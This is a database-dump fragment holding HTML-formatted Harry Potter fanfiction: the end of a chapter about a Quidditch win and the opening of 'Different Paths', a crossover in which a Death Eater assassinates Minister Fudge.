smiled at me.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Is he all right...&quot; I heard voices from the\nstands murmur.&nbsp; &quot;Oh, God...&quot;&nbsp; &quot;His mouth was bleeding...&quot;\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Mr. Potter just has a cut lip; he will be\nfine,&quot; Madame Hooch called up to the stands as she kept an arm around me.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Great shot, Harry!&quot;&nbsp; &quot;Swell!&quot;&nbsp;\n&quot;Bloody brilliant!&quot; My teammates took turns congratulating me and Ginny,\nwho held onto the snitch.&nbsp; &quot;Found his broom...&quot; Cheria handed me my\nbroom and I nodded thanks to her.&nbsp; Ron brought the ice and I put it\non my lip.&nbsp; The bleeding had slowed by then and we slowly trekked\nback into the field where there was more cheered.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Way to go, Gin!&quot; someone hollered.&nbsp;\nGinny and I smiled at each other, silently congratulating each other.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>&nbsp;&nbsp;&nbsp;&nbsp; I was a mess, being spattered with mud and\na bloody lip, so I went over to the hospital wing to get cleaned up.&nbsp;&nbsp;\nMadame Pomfrey fixed my glasses and gave me a potion to ease the pain on\nmy lip.&nbsp; As I headed back for dinner, other students called their\ncongratulations...even a couple of Slytherins.&nbsp;&nbsp;&nbsp; Later\non, us Gryffindors had an informal little party to celebrate our victory.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Knew we\'d blow them out of the water,&quot; Ron\ngrinned in satisfaction as he sipped his butterbeer.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Malfoy was blasted big-time by Pauce,&quot; Mintra\nMcGonagall put in.&nbsp; Mintra is Professor McGonagall\'s great-niece and\nis a first-year.&nbsp;&nbsp; &quot;Ginny caught the snitch just as Harry landed\non the ground.&quot;\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;I noticed Malfoy suddenly veered upward and\nI wondered why until I caught the snitch and saw Harry on the ground,&quot;\nGinny put in.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Malfoy was smirking at Harry falling until\nhe saw that you caught the snitch, Gin,&quot; Mintra added.&nbsp; &quot;You wiped\nthat smirk off his face fast.&quot;\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;I think he also got into a fight with his\nyes-men,&quot; Will Beavers, a third-year, put in.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Oh, wow, what happened?&quot; Ron\'s freckled face\nlit up.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Crabbe said something about how he had to\nadmire the little dork, meaning Harry, saying that it showed a lot of grit\nto show his face on the field after being so badly embarrassed on Thursday.&quot;\nWill grinned.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;I heard that too,&quot; Beverly Kinney, a fourth-year,\nadded.&nbsp; &quot;Malfoy got mad and started yelling at Crabbe about his loyalties\nbeing mixed up and all and called him a stupid idiot.&nbsp; A bunch of\nus saw it.&nbsp; It was after you\'d gone to Madame Pomfrey, Harry, and\nmost of us were still out by the field.&quot;\n<br>&nbsp;&nbsp;&nbsp; &quot;Oh, and Harry...&quot; Beverly leaned back, peering\nat me. &quot;I think...some of the other students, the ones that were jealous\nand said those nasty things about you the last couple of years...they feel\nkind of bad about saying them and see you with more respect now.&nbsp;\nI don\'t think they\'ll be gossiping about you anymore.&quot;\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;That\'s good...&quot; I smiled in relief.&nbsp;\nIt was true...in my fifth and most of my sixth year, some Hufflepuff and\na few Ravenclaw students said some awful things behind my back...like that\nI buttered up teachers and used the fact that my parents were well known\naround here to gain favors, all of which was untrue.&nbsp; Of course Malfoy\nfanned that gossip with his imput.&nbsp;&nbsp; My friends say it was because\nthey were jealous, but it didn\'t make it any easier to bear.&nbsp; Sitting\nwith my dormmates, I felt better than I had in a long time.&nbsp; Maybe\nnow Malfoy would back off, knowing that I got back up again after he\'d\nknocked me down.&nbsp; I smiled ruefully, remembering that he\'d knocked\nme off my broom today, but I\'m back up again.&nbsp; I guess that is the\nbest way to deal with enemies and people who try to tear you down.&nbsp;\nAnd even if Malfoy kept up his stupidity, I knew now I could survive it\nand go on with my life.&nbsp;&nbsp; I\'d still ache for the photo album,\nbut I had other mementos of my parents.&nbsp; Best of all, I had their\nlove and courage deep in my heart which could never be taken away or destroyed.\n<br>&nbsp;\n<br>&nbsp;\n<br>\n<br>\n</p><center>\n<p><i>~~Storyline Copyright By CNJ~~</i></p></center>\n\n\n\n'),
	(33, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Title: </b>Different Paths</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Author Name: </b>E. C. R. Potter</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Category: </b>Action/Adventure</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Sub Category: </b>Drama</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Rating: </b>PG-13</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Spoilers: </b>All the books.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Summary: </b>Tom Marvolo Riddle, Harry James\nPotter.&nbsp; Two wizards, with\nincredibly similar beginnings, who journeyed on different paths.&nbsp; Such different paths that inevitably,\nthey could only lead to a collision course.&nbsp; And collide, they do.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Disclaimer: </b>This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc.&nbsp; It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers.&nbsp; No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Author&#8217;s Notes: </b>The plot of this story is taken\ndirectly from the &#8220;Kyoto&#8221; Story Arc\nof the Japanese Comic, &#8220;Ruroni Kenshin&#8221; by Nobuhiro Wazuki.&nbsp; I have always wondered how the two\nstars of the two series, Kenshin and Harry, have had\nsuch similar personalities and angst filled lives.&nbsp; Therefore, I am doing drawing Harry Potter characters into\nthe Kenshin Storyline.&nbsp; All HP\ncharacters will be representing a RK character in this story.&nbsp; If I use an Original Character to\nrepresent an RK character, I&#8217;ll make the initials of the two characters the\nsame.&nbsp; Try to guess which character\nis which.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 1: Assassination</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a dark time those days, and things were only\ngetting worse.&nbsp; Ever since the\ndeath of Cedric Diggory during the Triwizard Tournament some three years ago,\nthere has been many a rumor floating around.&nbsp; Rumors that the most dreaded of all Dark Wizards, the Dark\nLord Voldemort had returned to full power and was picking up where he had left\noff before his untimely demise.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Indeed, there was plenty of evidence floating around\nthat the Dark Lord had indeed returned.&nbsp;\nDeath Eater attacks had increased 20 fold, and\ncases where unforgivable curses were used were far too numerous.&nbsp; The Dementors of Azkaban had revolted\nand broken out many of the deadiest Death Eaters.&nbsp; The Giants were\ndivided, some wanting to fight for the Death Eaters, some wanting to fight for\nthe resistance, and most remaining neutral.&nbsp; Cases where there were attacks on muggles and non-pureblood\nwizards and witches were a common occurrence now.&nbsp; Indeed, most of the Magic community had no choice but accept\nthat the dreaded Lord Voldemort had returned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Despite all this, UK\nMinister of Magic Cornelius Fudge stubbornly refused to believe that Voldemort\nhad returned, even with the complete chaos that surrounded him.&nbsp; In fact, Fudge had spent a good deal of the past three years fighting to shut down resistance\norganizations against the Dark Lord.&nbsp;\nHis firm belief was that these attacks were caused by delusional\nex-Death Eaters whom had pitifully believed the delusions of Harry Potter and\nAlbus Dumbledore who were the first ones to claim that Voldemort had\nreturned.&nbsp; Of course, such beliefs\nwould ultimately lead to scandal, which had indeed happened the previous year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">About a year ago, renowned Death Eater Lucius Malfoy had\ninitiated a scheme to gain Hogwarts School of Witchcraft and Wizardry under his\ncontrol.&nbsp; Lucius had managed to\ncoerce the more radical students of Slytherin house to revolt against\nHeadmaster Albus Dumbledore and work to destroy the wards that protected the\nschool from the Death Eaters.&nbsp;\nHowever, the plan failed when the more moderate Slytherins had told the\nstaff what their radical housemates were planning and the staff put down the\nrevolt.&nbsp; The Radicals still refused\nto be taken down and violence had ensued within the halls of the school.&nbsp; When the smoke had cleared, many of the\nstudents as well as Lucius Malfoy himself had been killed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Slytherin Revolts were the only time the school had\ntruly been in danger.&nbsp; All of the\nmost radical Slytherins had either been killed in the revolts or expelled\nafterwards so the House that had formerly bred the most dark wizards and\nwitches was now filled entirely with moderates whom aligned themselves with the\nresistance.&nbsp; Still, Fudge had used\nthe revolts as excuse to have Headmaster Albus Dumbledore, until then the\nleader of the resistance, sacked and banned from British Magical Community,\namidst much protest.&nbsp; That had been\nthe greatest scandal of the Minister and after the outcry Fudge withdrew from\nthe public eye for some time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Still, even without Dumbledore, Hogwarts was the safest\nplace during those days.&nbsp; Minerva\nMcGonagall was the Head Mistress now and the school was running smoothly.&nbsp; All of the major activity of the war\nhappened on the outside and the school, and for the most part Hogsmeade village\nlived in relative contentment and peace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was for that reason on a sunny Saturday, in early\nApril that the young wizard Harry James Potter was preparing to go to Hogsmeade\nvillage.&nbsp; Harry Potter\nwas the most famous in the world for having survived not one, but two\nencounters with Voldemort.&nbsp; He was\nthe Boy who Lived, the only person ever to stop the\nDark Lord when he was only a baby.&nbsp;\nHe had lost everything in that first encounter, including his parents\nJames and Lily whom have sacrificed their lives for him, and had lived a life\nof misery with his muggle relatives, the Durslyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That was all in the past now.&nbsp; Harry was now a strapping young man of 17 and near the end\nof his magical training.&nbsp; He was\nnow nearly 6 feet, had a slender build, and had messy raven black hair that\nstill looked like it had never had a comb run through it.&nbsp; He now wore stylish glasses that didn&#8217;t\nhide the glow of his emerald green eyes.&nbsp;\nThe lightning bolt scar that he had gained in his first encounter with\nVoldemort stood out plainly on his forehead, visible just behind his bangs.&nbsp; During the past three years, Harry&#8217;s\nmagical abilities had multiplied and he was now the greatest practical user of\nmagic in the school and even rivaled the Dumbledore in terms of sheer power.&nbsp; Academically, his rising powers had\ncontributed greatly to his grades and he was currently the second best student\nin the school and Head Boy.&nbsp; He\nstill played seeker with the Gryffindor Quidditch team his finally season had\nalready ended, finishing with Gryffindor once again winning the Quidditch Cup.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At present, Harry was in the Gryffindor Common Room\nputting his trainers on. &nbsp;He had\njust done his last shoelace when a familiar voice called out, &#8220;Harry\nPotter!&nbsp; Where do you think you&#8217;re\ngoing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked up to see his best friend Hermione Granger\nstanding over him looking stern.&nbsp;\nOver the years, Hermione had grown into a lovely young woman.&nbsp; Her brown hair was less bushy now and\nwas gaining an auburn tinge and her brown eyes shone as lively as ever.&nbsp; She was about 5&#8217; 5&#8221; and was now Head\nGirl, being the number one student in Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned sheepishly and said, &#8220;Hogsmeade.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry, you know you&#8217;re not supposed to go there!&#8221; said\nHermione.&nbsp; &#8220;It&#8217;s not a Hogsmeade\nweekend.&nbsp; What kind of example\nwould you set for the younger students if the Head Boy snuck into the village\nwhen he wasn&#8217;t aloud to?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I actually think it would set a great example,&#8221; said\nHarry.&nbsp; &#8220;I just might be the\ninstigator of a new generation of Gryffindor rule-breakers.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glared at him and said, &#8220;That&#8217;s not funny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well nothing you say to me is going to stop me from\nenjoying the time off we get for the next 3 months.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry!&nbsp; We\nhave this time off so that we can study for the N. E. W. T.s.&nbsp; Do you understand how important they\nare?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Of course I do.&nbsp;\nThat&#8217;s why I need to excursion to Hogsmeade, for relaxing.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh come on, Hermione.&nbsp; Are you going to report me?&#8221; said Harry with a grin.&nbsp; The gesture was reminiscent\nof the time when Harry had snuck into Hogsmeade during their third year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione felt flustered by the grin.&nbsp; During the past three years, her\nfeelings for Harry had been building and she was now practically in love with\nhim though she kept this fact hidden.&nbsp;\nConsequently, Harry&#8217;s grin disarmed her.&nbsp; &#8220;Of...of course not.&#8221;&nbsp; Still, Hermione wasn&#8217;t about to relent\nand she finally lapsed into the real reason why she didn&#8217;t want Harry going to\nHogsmeade, &#8220;But, Harry.&nbsp; What about\nYou-know-who?&nbsp; What if he attacks\nHogsmeade while you&#8217;re there?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry sighed.&nbsp;\n&#8220;You know that I&#8217;ve believed that this is the year where it comes down\nbetween Voldemort and I, right?&nbsp;\nWith the exception of apparition and taking N. E. W. T.s, I&#8217;m a fyully\ntrained wizard now.&#8221;&nbsp; He lifted his\nhand up and rubbed, Hermione&#8217;s cheek.&nbsp; &#8220;I&#8217;ll promise you that I&#8217;ll come back safely,\nOK?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione relished the feel of Harry&#8217;s hand on her cheek\nand gently placed her own hand on Harry&#8217;s.&nbsp; &#8220;OK,&#8221; she said.&nbsp;\n&#8220;Remember, be careful.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;ll remember,&#8221; said Harry.&nbsp; &#8220;Well, I&#8217;ll see you later.&#8221;&nbsp; With that, he headed out of the portrait hole.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cornelius Fudge was in Hogsmeade that day.&nbsp; He had just successfully completed a\nfund raising campaign and was in good spirits.&nbsp; Apparently, the scandal surrounding the Slytherin revolts was finally being buried in where it belonged, the past.&nbsp; That cursed scandal that had nearly\nruined his reputation.&nbsp; Fudge\ngritted his teeth as he remembered the scandal surrounding the revolts.&nbsp; He had managed to get rid of Dumbledore\nbut nearly at the cost of his reputation.&nbsp;\nFurthermore, his primary sponsor, Lucius Malfoy had been killed though\nFudge refused to answer questions of what Malfoy was doing there at the\ntime.&nbsp; But that, didn&#8217;t matter in\nthe long run, he had gotten new sponsors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All in all, things were going along well, for the\nMinister.&nbsp; So, he just simply sat\nback and relaxed, deciding to enjoy the trip of the horseless carriage as it\nsped back to London.&nbsp; However, the tranquility of the\ncarriage was suddenly broken when a young wizard of about 16 burst into the\ncarriage.&nbsp; He grabbed the terrified\nFudge&#8217;s face and pointed a wand at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hello Mr. Fudge,&#8221; he said with a cheery smile on his\nface.&nbsp; &#8220;My name is Seth Soran and I\nwork for Mr. Voldemort.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">If Fudge hadn&#8217;t been terrified out of his wits, he\nwould&#8217;ve found it amusing that out of every name the Dark Lord had been\nreferred to, from Tom Marvolo Riddle to You-Know-Who, he had never heard anyone\ncall him &#8220;Mr. Voldemort&#8221;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;He basically wants to thank you for everything you&#8217;ve\ndone so far, from denying his return to sacking Mr. Dumbledore,&#8221; said\nSeth.&nbsp; &#8220;But it has concluded that\nhe really has no more use for you any more since he&#8217;s decided to go into his\nnext step.&nbsp; Oh and he&#8217;s asked me to\nrelay a message to you, Mr. Fudge.&nbsp;\nMr. Voldemort&#8217;s exact words are, &#8216;I must thank you my dear minister, for\nall you&#8217;ve done for me.&nbsp; But times\nchange and people move.&nbsp; My plan\nfor this world is coming into motion and no one not you, not Dumbledore, not\neven Harry Potter is going to stop me.&nbsp;\nSo on a final note, I will have this world.&#8217;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fudge didn&#8217;t even have time to react for as soon as he\nhad relayed the Dark Lord&#8217;s message, Seth quietly said the words, <i style="mso-bidi-font-style:normal">&#8220;Avada Kedavra.&#8221;</i>&nbsp; In a flash of green light, Cornelius\nFudge was no more.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Minister Fudge?&nbsp;\nDead?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;There was a flash of green light.&nbsp; The killing curse.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Was the Dark Mark there?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The murmurs that surrounded the site of the\nassassination simply refused to die down.&nbsp;\nMinister of Magic Cornelius Fudge had just been killed in Hogsmeade,\nclearly by a Death Eater.&nbsp; Harry\nPotter was amongst the on lookers, starring at the body of the minister,\ncurrently being levitated away by Ministry officials.&nbsp; Harry was definitely not one of Fudge&#8217;s biggest fans, he\nstill felt personally responsible for every Death Eater attack, as if he could&#8217;ve\nbeen able to stop them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Unknown t o Harry, Seth Soran was standing right behind\nhim, though facing the opposite direction.&nbsp; &#8220;Be warned, Mr. Potter,&#8221; he said.&nbsp; Harry hearing Seth&#8217;s voice instantly froze in his spot,\nthough his right hand fingered his wand tucked in his belt.&nbsp; Seth continued speaking, &#8220;Mr. Voldemort\nis fully aware that Mr. Fudge isn&#8217;t one of your favorite peoples.&nbsp; This is but a prelude to the plans he\nhas set in motion.&nbsp; Mr. Voldemort&#8217;s\ntime is coming, Mr. Potter and he warns you to stay out of his business.&nbsp; The choice is up to you.&nbsp; But tell me Mr. Potter, do you really\nwant your loved ones to be hurt?&nbsp;\nSay for example, that muggle-born friend of yours.&nbsp; She would be high on Mr. Voldemort&#8217;s\nhit list.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry spun around in anger and whipped out his wand but\nby that time, Seth was already gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was already late at night.&nbsp; But Hermione was still awake in the Gryffindor Common\nRoom.&nbsp; Harry still hadn&#8217;t returned\nfrom Hogsmeade and to be quite frank, she was getting worried. &nbsp;She had already heard the rumors about\nMinister Fudge&#8217;s assassination and was afraid that Harry might&#8217;ve been attacked\nby Death Eaters as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i style="mso-bidi-font-style:normal">&#8216;He&#8217;ll be OK.&nbsp; He knows what he&#8217;s doing,&#8217;</i> she\nthought.&nbsp; The assassination was\nstill only a small rumor but she expected that it would become a full blown\npanic in the next morning when the morning issues of the Daily Prophet were\ndelivered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 